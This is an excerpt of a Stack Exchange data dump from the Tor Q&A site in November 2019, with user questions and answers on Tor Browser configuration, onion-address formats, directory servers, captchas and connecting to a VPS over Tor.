  <row Id="20559" PostTypeId="1" AcceptedAnswerId="20560" CreationDate="2019-11-06T18:49:22.977" Score="2" ViewCount="391" Body="&lt;p&gt;Im using ubuntu, with Tor browser. I blacklisted certain unwanted websites on my router and on this computer in iptables, but I can still access them via Tor (i cant acess on regular browsers). How to block access to websites in Tor too?&lt;/p&gt;&#xA;" OwnerUserId="28106" LastActivityDate="2019-11-07T09:38:17.227" Title="How to block access to a specific website for the Tor user?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20560" PostTypeId="2" ParentId="20559" CreationDate="2019-11-07T09:38:17.227" Score="1" Body="&lt;p&gt;The commenter, womble, is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor does not use the DNS (Domain Name Service) that the rest of the apps on your computer uses therefore you can't block any websites via domain requests. It also does not read your local hosts file so you can't redirect websites via that method either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor, by its very nature, will not allow censorship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an option: Install Tor Browser directly and not via torbrowser-launcher for a user called &quot;Dad&quot;. If torbrowser-launcher is installed, uninstall it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a second user called &quot;Kid1&quot; Kid1 will not be able to run Tor Browser and therefore will be limited to using a browser with the restrictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically if you want to have an anti-censorship tool like Tor Browser available system wide, you have to understand that the trade off is that you can't censor it.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-07T09:38:17.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20562" PostTypeId="1" AcceptedAnswerId="20596" CreationDate="2019-11-07T21:47:17.233" Score="-1" ViewCount="748" Body="&lt;p&gt;It seems that YouTube has changed its visitor policies while its mandatory for Tor users to solve a captcha on each visit now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody experienced the same behavior?&lt;/p&gt;&#xA;" OwnerUserId="20730" LastActivityDate="2019-11-13T14:51:42.530" Title="YouTube now forcing Tor users to solve captcha?" Tags="|tor-browser-bundle|captcha|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20565" PostTypeId="1" CreationDate="2019-11-08T21:41:28.757" Score="0" ViewCount="506" Body="&lt;p&gt;How do I import bookmarks into Tor Browser from other browsers? The Tor Browser version I am using is 9.0.1.&lt;/p&gt;&#xA;" OwnerUserId="28117" LastActivityDate="2021-12-28T21:01:25.110" Title="How to import bookmarks into Tor browser from other browsers?" Tags="|configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20566" PostTypeId="2" ParentId="4667" CreationDate="2019-11-08T23:14:58.330" Score="0" Body="&lt;p&gt;It probably did create the file, but the permissions are set badly by the default tor process when it creates it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning, it's not readable to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my installation, tor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) creates the file with 600, owned by tor:tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) the /var/lib/tor/ folder is 700, owned by tor:tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, even if the user I login with is in the tor group; the folder is still inaccessible, and the file is invisible/unreadable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to manually alter these to sensible values (640 and 750, respectively) every time the tor daemon reloads (because it resets them back to stupid every time), in order for anything I run to use the control port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both permissions failures have to be manually fixed every single time...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Herp derp...&lt;/p&gt;&#xA;" OwnerUserId="28119" LastActivityDate="2019-11-08T23:14:58.330" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20567" PostTypeId="2" ParentId="3870" CreationDate="2019-11-09T05:02:31.057" Score="1" Body="&lt;p&gt;The Onion address landing page produced from the hash [dxwd42hgpd7qrccm.onion] shows Lat/Long coordinates 51°29'56.4&quot;N 0°09'41.0&quot;W which resolves to the Ecuadorian Embassy in London where Julian Assange was held. The vault reference is likely to Wikileaks vault. Date is to left [4-7/19] is right around the time Wikileaks discovered the subterfuge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The video at &lt;a href=&quot;https://1711141131131.xyz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://1711141131131.xyz/&lt;/a&gt; needs to be downloaded and viewed frame by frame because there is a LOT of embedded/subliminal imagery there. Too much to describe here but is classic Cicada3301.  The video &quot;cicada_317.mp4&quot; autoloads from index.html and can be saved from the console.&lt;/p&gt;&#xA;" OwnerUserId="28121" LastEditorUserId="28121" LastEditDate="2019-11-09T15:32:32.267" LastActivityDate="2019-11-09T15:32:32.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20568" PostTypeId="2" ParentId="14681" CreationDate="2019-11-09T08:12:58.477" Score="1" Body="&lt;p&gt;~/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/TorBrowser/Data/Tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need to go here and do the changes.&lt;/p&gt;&#xA;" OwnerUserId="26937" LastActivityDate="2019-11-09T08:12:58.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20569" PostTypeId="2" ParentId="20565" CreationDate="2019-11-09T09:54:04.657" Score="0" Body="&lt;p&gt;Export bookmarks from previous browser as an HTML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Tor Browser CTRL-SHIFT-O (That's O not zero). Click on &quot;Import and Backup&quot; &gt; Import Bookmarks from HTML.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-09T09:54:04.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20570" PostTypeId="1" AcceptedAnswerId="20574" CreationDate="2019-11-09T11:11:20.800" Score="2" ViewCount="239" Body="&lt;p&gt;I'm running a &lt;em&gt;bitcoin core&lt;/em&gt; full node with Tor and I've configured a hidden service for that.&#xA; The point is: bitcoin core log shows me an onion address which is very smaller than the one I found in &lt;code&gt;/var/lib/tor/bitcoin-service/hostname&lt;/code&gt;. I noticed that other peers in the network connect with me using the small &lt;em&gt;.onion&lt;/em&gt; address. Which is the difference between these two types of onion address? Are they correlated eachother in some way? I've also tried to use the longer . onion address in the &lt;em&gt;externalip&lt;/em&gt; option inside &lt;code&gt;bitcoin.conf&lt;/code&gt;, but it gave me an error.&lt;/p&gt;&#xA;" OwnerUserId="28125" LastActivityDate="2019-11-10T23:10:20.687" Title="Bitcoin types of onion address" Tags="|ip-address|address|bitcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20571" PostTypeId="1" AcceptedAnswerId="20575" CreationDate="2019-11-09T17:47:42.590" Score="0" ViewCount="301" Body="&lt;p&gt;Hello I'm newbie to onion protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor(Onion) protocol is basically consist of three nodes for my anonymity connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in this point, we have to clarify &lt;b&gt; HOW TO FIND ENTRY GUARD before establishing connection &lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In basic P2P structure, there is DNS server helping connect newbie to existed node and is publicized.&#xA;But Tor has no DNS &lt;b&gt; so I was wondering how newbie find group of node for own anonymity? &lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my English.&lt;/p&gt;&#xA;" OwnerUserId="28128" LastActivityDate="2019-11-10T04:32:38.037" Title="How to find onion address?" Tags="|anonymity|onion-routing|dns|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20572" PostTypeId="1" CreationDate="2019-11-09T17:55:50.867" Score="0" ViewCount="57" Body="&lt;p&gt;Well I have got this much upon attempt to run &lt;code&gt;./start-tor-browser -v&lt;/code&gt; &lt;a href=&quot;http://paste.debian.net/1115484/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://paste.debian.net/1115484/&lt;/a&gt; and have no clue how to update Tor from its crushed state? On top of the run I got a graphic window with &quot;Connect to Tor&quot; message in its header and absolutely blank content. How to upgrade it from here?&lt;/p&gt;&#xA;" OwnerUserId="27816" LastEditorUserId="27816" LastEditDate="2019-11-09T18:03:03.440" LastActivityDate="2019-11-09T19:08:24.117" Title="Debian Buster Tor crash upon attempt to re-install it anew" Tags="|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20573" PostTypeId="2" ParentId="20572" CreationDate="2019-11-09T19:08:24.117" Score="1" Body="&lt;p&gt;This appears to be that issue that is reported here: &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/firefox/+bug/1798999&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bugs.launchpad.net/ubuntu/+source/firefox/+bug/1798999&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you updated, your apparmor profile probably got screwed up. The suggested fix is to run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apparmor_parser -R /etc/apparmor.d/usr.bin.firefox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This specific command is for people having the issue with plain firefox. I don't run Debian so I can't tell you specifically what the same of the apparmor profile name is but you should be able to go to /etc/apparmor.d/ and find the one for Tor Browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to simply run Tor Browser directly and not with torbrowser-launcher.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-09T19:08:24.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20574" PostTypeId="2" ParentId="20570" CreationDate="2019-11-10T04:30:25.513" Score="0" Body="&lt;p&gt;The shorter &lt;code&gt;.onion&lt;/code&gt; address is an older, less secure method of identifying the service, which uses a SHA1 hash of the 1024 bit RSA key associated with the service.  The longer address is a newer format, which is the entire public ed25519 key associated with the service.  Some consumers of onion services don't support the newer format, which is probably why you got an error when you used it in &lt;code&gt;bitcoin.conf&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastEditorUserId="27799" LastEditDate="2019-11-10T23:10:20.687" LastActivityDate="2019-11-10T23:10:20.687" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20575" PostTypeId="2" ParentId="20571" CreationDate="2019-11-10T04:32:38.037" Score="0" Body="&lt;p&gt;The Tor project maintains its own directory service of relay nodes, which users of the Tor network download.  From there, the client software uses various algorithms to select which nodes listed in the directory to use for connections.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-11-10T04:32:38.037" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20576" PostTypeId="1" AcceptedAnswerId="20608" CreationDate="2019-11-10T06:07:24.157" Score="3" ViewCount="530" Body="&lt;p&gt;The FBI took over the Freedom Hosting servers, which were located in France, and arrested the guy (Eric Eoin Marques) running Freedom Hosting. They then proceed to serve malware to anyone who connected to a site hosted by Freedom Hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How did the FBI find the Freedom Hosting servers in the first place? Were the servers misconfigured leading to an accidental leak? Did they take over entry and exit nodes and conduct traffic analysis? Did the FBI use some Apache 0-day to find it? Or is that the information is not available yet since Eric's trial has yet to begin?&lt;/p&gt;&#xA;" OwnerUserId="28114" LastActivityDate="2019-11-16T00:31:37.627" Title="How did the FBI find the IP address of the Freedom Hosting servers?" Tags="|tor-browser-bundle|onion-services|anonymity|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20577" PostTypeId="2" ParentId="20562" CreationDate="2019-11-10T13:56:23.757" Score="0" Body="&lt;p&gt;I have never not experienced this. I find all Google products require me to solve a captcha when I am browsing over tor.&lt;/p&gt;&#xA;" OwnerUserId="28114" LastActivityDate="2019-11-10T13:56:23.757" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20578" PostTypeId="1" CreationDate="2019-11-10T14:55:37.083" Score="0" ViewCount="38" Body="&lt;p&gt;Why does Tor use multiple directory nodes instead of something like multiple cloud databases? Because then DDoS attacks couldn't take place on the directory nodes, as there aren't any, and cloud services like Google Cloud support concurrent requests onto cloud databases; wouldn't this be easier than having directory nodes that have to always stay online?&lt;/p&gt;&#xA;" OwnerUserId="27663" LastActivityDate="2022-01-03T21:04:20.413" Title="Directory Nodes Over Cloud Databases" Tags="|directory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20579" PostTypeId="1" CreationDate="2019-11-10T18:45:30.023" Score="1" ViewCount="25" Body="&lt;p&gt;I submitted an anonymous tip and want to review it and see if there has been any answer. How do I do that? &lt;/p&gt;&#xA;" OwnerUserId="28134" LastActivityDate="2022-03-30T00:07:35.767" Title="How to review previous onion comment or tip" Tags="|anonymity|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20580" PostTypeId="2" ParentId="20578" CreationDate="2019-11-10T18:55:37.783" Score="0" Body="&lt;p&gt;First of all, read about all of the things that directory servers do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See Sections 6.3 and 7 of the &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor design document&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the most cogent things are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Directory servers aren't just any old servers that are randomly&#xA;picked, they are trusted servers.&lt;/li&gt;&#xA;&lt;li&gt;One of the possible attacks that concern the Tor developers is, an attach that will &quot;Trick the directory servers into listing a&#xA;hostile [Onion Router]. Our threat model explicitly assumes&#xA;directory server operators will be able to filter out most hostile&#xA;ORs.&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your question assumes that the Tor developers could possibly trust a service like Google Cloud to be a good and trustworthy holder of the kind of data that could bring down the entire network. I don't think anyone who cares about the Tor network would outsource that kind of responsibility. When you also read about the other things that the directory services do, you would still need those services anyway.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-10T18:55:37.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20581" PostTypeId="2" ParentId="20579" CreationDate="2019-11-10T19:17:48.713" Score="0" Body="&lt;p&gt;Go to the &lt;a href=&quot;http://odazpl6u3vhoedhn.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;login page&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log in with your your codename.  If you have lost or forgotten your codename then it is not possible to review responses.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-10T19:17:48.713" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20582" PostTypeId="2" ParentId="3611" CreationDate="2019-11-10T19:47:05.590" Score="1" Body="&lt;p&gt;In the search bar, type &lt;code&gt;about:config&lt;/code&gt; and accept the risk to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then find the variable &lt;code&gt;network.dns.blockDotOnion&lt;/code&gt; and change it to &lt;strong&gt;false&lt;/strong&gt;. If your network configuration was done correctly, firefox should now be able to resolve .onion addresses.&lt;/p&gt;&#xA;" OwnerUserId="28130" LastActivityDate="2019-11-10T19:47:05.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20583" PostTypeId="1" CreationDate="2019-11-11T06:54:16.093" Score="0" ViewCount="250" Body="&lt;p&gt;Many documents says that a user that use tor network should connect to &lt;b&gt;tor directory server &lt;/b&gt; to make circuit.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Who is responsible for manage Tor directory servers? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if there are some people who is relevant with police, government or hacker group, how can we trust tor directory server?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Relay nodes are important in tor network for many reason. sometimes they are removed and joined newly. which algorithm(mechanism) is used for this work? if admin(answer of 1st question) should manually manage this work, it's very worst.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sorry for my English. have a nice day.&lt;/p&gt;&#xA;" OwnerUserId="28128" LastActivityDate="2019-11-11T06:54:16.093" Title="Who are responsible for manage Tor directory servers?" Tags="|relays|onion-routing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20585" PostTypeId="1" CreationDate="2019-11-11T20:55:53.310" Score="1" ViewCount="955" Body="&lt;p&gt;The Tails live CD is meant for anonymity but might its security features make it a safer way to do your online banking, shopping and bitcoin shopping using its &quot;unsafe browser&quot;, compared to a regular debian live CD? Tails is supposed to be fully open source for starters, but can someone confirm this? Might a libre derivative of debian be safer for the stated purposes? Might a Kali live CD be safer? What about the TENS live CD for the US military?&lt;/p&gt;&#xA;" OwnerUserId="28143" LastEditorUserId="28143" LastEditDate="2019-11-11T21:06:24.887" LastActivityDate="2019-12-13T21:41:56.903" Title="Is banking safer with tails and its unsafe browser, than with a debian live CD?" Tags="|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20586" PostTypeId="1" CreationDate="2019-11-11T23:06:25.373" Score="0" ViewCount="1596" Body="&lt;p&gt;I am on Trisquel 8.0 and I can't get Tor Browser 9.0.1 running. I've installed it a couple time and it still crashes on startup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how to get a crash report so any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="28144" LastActivityDate="2019-11-11T23:06:25.373" Title="Tor Browser crashes at startup" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20587" PostTypeId="2" ParentId="20585" CreationDate="2019-11-12T07:16:51.867" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The Tails live CD is meant for anonymity but might its security&#xA;  features make it a safer way to do your online banking, shopping and&#xA;  bitcoin shopping using its &quot;unsafe browser&quot;, compared to a regular&#xA;  debian live CD?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &quot;unsafe browser&quot; is just Firefox without a proxy.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tails is supposed to be fully open source for starters, but can&#xA;  someone confirm this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's how you get the &lt;a href=&quot;https://tails.boum.org/contribute/git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code&lt;/a&gt; to see for yourself. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Might a libre derivative of debian be safer for the stated purposes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's still the same Firefox code (a.k.a. Iceweasel)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Might a Kali live CD be safer? What about the TENS live CD for the US&#xA;  military?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No idea. You're asking questions here that need to be posed to those specific projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not using hidden services (aka &lt;code&gt;.onion&lt;/code&gt; sites) then you should be using &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTPS&quot; rel=&quot;nofollow noreferrer&quot;&gt;https&lt;/a&gt;. If you don't need the anonymity that Tor provides then https is usually good enough. Further question about infosec should go to the &lt;a href=&quot;https://security.stackexchange.com/&quot;&gt;infosec stackexchange&lt;/a&gt; unless you have questions specifically about Tor.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="5234" LastEditDate="2019-12-13T21:41:56.903" LastActivityDate="2019-12-13T21:41:56.903" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20591" PostTypeId="2" ParentId="20550" CreationDate="2019-11-12T20:46:07.533" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am new on TOR, I don't know if TOR saves my cache, cookies or any&#xA;  kind of data locally on my pc&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They are saved into RAM only as long as the browser is working otherwise most websites would not work because they require cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you close all browser tabs and windows, they are gone.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So do you guys have any ideas that can help me?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Mostly just &lt;a href=&quot;https://2019.www.torproject.org/docs/documentation.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;read the docs&lt;/a&gt; and understand what &lt;a href=&quot;https://2019.www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor and Tor Browser is&lt;/a&gt; and how it works.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-12T20:46:07.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20592" PostTypeId="2" ParentId="20516" CreationDate="2019-11-12T20:56:17.590" Score="1" Body="&lt;p&gt;In the Tor Browser profile directory (the directory where you normally could find the &lt;code&gt;prefs.js&lt;/code&gt; file had it been there - but it doesn't need to actually pre-exist) create a file named &lt;code&gt;user.js&lt;/code&gt; with the following contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user_pref(&quot;app.update.auto&quot;, false);&#xA;user_pref(&quot;app.update.idletime&quot;, 5555555);&#xA;user_pref(&quot;app.update.interval&quot;, 777555777);&#xA;user_pref(&quot;extensions.update.autoUpdateDefault&quot;, false);&#xA;user_pref(&quot;extensions.update.enabled&quot;, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17863" LastActivityDate="2019-11-12T20:56:17.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20595" PostTypeId="1" CreationDate="2019-11-13T13:44:06.927" Score="3" ViewCount="3292" Body="&lt;p&gt;I want to set up a personal Tor SOCKS5 proxy on my Linux VPS to use it on mobile devices and whatnot. Apparently, Tor can only protect its control port, SOCKS5 stays open. How do I set a lightweight, password-protected Tor SOCKS5 proxy? Seems like I need to set up another proxy, which would tunnel traffic through Tor. Where do I start?&lt;/p&gt;&#xA;" OwnerUserId="28159" LastEditorUserId="28159" LastEditDate="2019-11-13T14:42:11.203" LastActivityDate="2022-09-02T13:51:54.843" Title="How to protect Tor proxy with a password?" Tags="|proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20596" PostTypeId="2" ParentId="20562" CreationDate="2019-11-13T14:38:09.107" Score="1" Body="&lt;p&gt;You can switch to an &lt;a href=&quot;https://instances.invidio.us/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Invidious instance&lt;/a&gt;. Invidious is an alternative, open source front-end to YouTube.&lt;/p&gt;&#xA;" OwnerUserId="28159" LastEditorUserId="28159" LastEditDate="2019-11-13T14:51:42.530" LastActivityDate="2019-11-13T14:51:42.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20597" PostTypeId="1" CreationDate="2019-11-13T21:48:00.503" Score="0" ViewCount="812" Body="&lt;p&gt;Can I log in my vps through tor using ssh? Should I have tor daemon installed on the server too? If yes, why?&lt;/p&gt;&#xA;" OwnerUserId="27660" LastActivityDate="2019-11-15T11:31:43.120" Title="Connect to my cloud vps through tor" Tags="|anonymity|tor-install|vps|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20598" PostTypeId="2" ParentId="20597" CreationDate="2019-11-14T05:32:25.073" Score="2" Body="&lt;p&gt;You can SSH to your server through Tor using two different methods:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Via an &lt;em&gt;exit node&lt;/em&gt;, where your connection to your VPS goes into the Tor network at your local machine (where you're SSHing from), goes through the onion layers, goes out an exit node, then travels over the regular Internet from the exit node to your VPS.  This doesn't require any configuration changes to your VPS, because as far as it can tell, the SSH connection is coming in from the Internet, the same as always.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Via an &lt;em&gt;onion service&lt;/em&gt;, where the entire connection from your client machine to the VPS travels within the Tor network.  For this to work, you need to configure Tor on the VPS to provide the onion service, and pass on the data to the SSH daemon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-11-14T05:32:25.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20601" PostTypeId="1" CreationDate="2019-11-15T10:33:15.850" Score="0" ViewCount="82" Body="&lt;p&gt;Does every packet Tor sends have a MAC tag concatenated onto the end of the packet paylod? If so, how do they avoid pocket size overflow? Or is the MAC for a whole stream of packets??&lt;/p&gt;&#xA;" OwnerUserId="27663" LastActivityDate="2022-04-04T01:06:25.627" Title="MAC usage in Tor" Tags="|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20603" PostTypeId="2" ParentId="20597" CreationDate="2019-11-15T11:31:43.120" Score="0" Body="&lt;p&gt;I believe that this article can solve your problem&#xA;&lt;a href=&quot;https://d33onion.com/2019/11/12/how-to-setup-an-anonymous-vps/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://d33onion.com/2019/11/12/how-to-setup-an-anonymous-vps/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22408" LastActivityDate="2019-11-15T11:31:43.120" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20604" PostTypeId="2" ParentId="19963" CreationDate="2019-11-15T13:56:08.130" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;the TOR browser users cannot solve the Recaptcha as they get a message &quot;Your computer or network may be sending automated queries. To protect our users we can't process your request right now&quot;. This prevents our TOR browser users from accessing our site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually there is nothing wrong with the Tor Browser. The problem is Google. Google sees that the user us coming from a Tor exit node and is therefore putting the user into a never ending loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your options are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Contact Google support to allow users who come from Tor exit nodes&lt;/li&gt;&#xA;&lt;li&gt;Stop using Captcha&lt;/li&gt;&#xA;&lt;li&gt;Not allow users who use Tor to access your site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-15T13:56:08.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20606" PostTypeId="2" ParentId="20601" CreationDate="2019-11-15T20:23:35.463" Score="0" Body="&lt;p&gt;From to the &lt;a href=&quot;https://2019.www.torproject.org/docs/faq#RemotePhysicalDeviceFingerprinting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor transports TCP streams, not IP packets, so we end up automatically&#xA;  scrubbing a lot of the potential information leaks. Because Tor relays&#xA;  use their own (new) IP and TCP headers at each hop, this information&#xA;  isn't relayed from hop to hop. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Control Protocol&lt;/a&gt; goes into a lot more detail on what actually goes into the stream. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have specific questions for the Tor Developers, you can ask in StackExchange or join one of the official &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo&quot; rel=&quot;nofollow noreferrer&quot;&gt;mailing lists&lt;/a&gt; for a more direct interface.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-11-15T20:23:35.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20607" PostTypeId="2" ParentId="20595" CreationDate="2019-11-15T21:07:17.823" Score="4" Body="&lt;p&gt;Here's the &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor manual&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can set:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Socks5ProxyUsername username&#xA;Socks5ProxyPassword password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When you start the Tor service.&lt;/p&gt;&#xA;&lt;p&gt;If you are asking how to create a proxy server in general apart from Tor, then you should probably ask that in the Unix/Linux Stackexchange depending on your Linux distribution.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="88" LastEditDate="2022-09-02T13:51:54.843" LastActivityDate="2022-09-02T13:51:54.843" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
